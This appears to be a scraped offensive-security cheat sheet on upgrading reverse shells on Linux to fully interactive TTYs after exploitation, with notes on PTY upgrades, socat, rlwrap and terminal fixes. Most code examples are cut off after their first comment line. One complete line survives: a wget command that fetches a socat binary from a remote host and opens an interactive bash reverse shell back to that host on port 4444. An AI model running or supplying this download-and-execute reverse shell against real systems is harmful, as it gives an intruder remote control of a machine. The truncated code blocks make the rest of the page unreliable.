Linux Shell Upgrade and Stabilization
Upgrade basic reverse shells to fully interactive TTY shells with tab completion, command history, and signal handling.
Proper shell stabilization is critical for effective post-exploitation and prevents accidental disconnections.
Quick Reference
# Python PTY upgrade |
Reverse Shell One-Liners
# Bash TCP |
Python PTY Upgrade
# Step 1: Spawn PTY |
Socat Full TTY Upgrade
Method 1: Socat Binary Available
# Attacker listener |
Method 2: Transfer Socat Binary
# Download socat static binary |
One-Liner Download and Execute
wget -q http://10.10.10.10/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444 |
Alternative Shell Spawning Methods
# /bin/sh interactive |
rlwrap for Better Netcat Shells
# Use rlwrap with netcat listener |
Script Command for Logging
# Start script to log session |
Common Workflow
# Step 1: Catch reverse shell |
Notes
Why Upgrade Shells?
Basic reverse shells lack:
- Tab completion
- Command history
- Signal handling (Ctrl+C kills shell)
- Proper terminal emulation
- Text editors (vim, nano) don’t work properly
- Job control (background processes)
PTY vs TTY:
- PTY (Pseudo-Terminal): Software emulation of terminal
- TTY (Teletypewriter): Physical or virtual terminal device
- PTY provides TTY-like functionality in reverse shells
Socat Advantages:
- Full terminal emulation
- Signal handling (Ctrl+C, Ctrl+Z)
- Proper terminal size
- Works with interactive programs
- Best method when available
Terminal Size Issues:
If terminal size is wrong:
# On attacker machine |
Common Issues:
- Shell dies on Ctrl+C: Not properly upgraded
- No tab completion: PTY not spawned
- Weird characters: TERM not set
- Text wrapping issues: Terminal size not set
- Vim/nano broken: Need full TTY (use socat)
Best Practices:
- Always upgrade shells immediately
- Use socat when possible (best stability)
- Set TERM and SHELL variables
- Configure terminal size
- Test tab completion and Ctrl+C
- Keep socat binary in toolkit
Alternative Tools:
- pwncat-cs: Automated shell upgrade and management
- rlwrap: Simple wrapper for better line editing
- script: Log session and improve terminal
Checking Available Interpreters:
which python python2 python3 |
Permissions Considerations:
# Check file permissions |
Resources: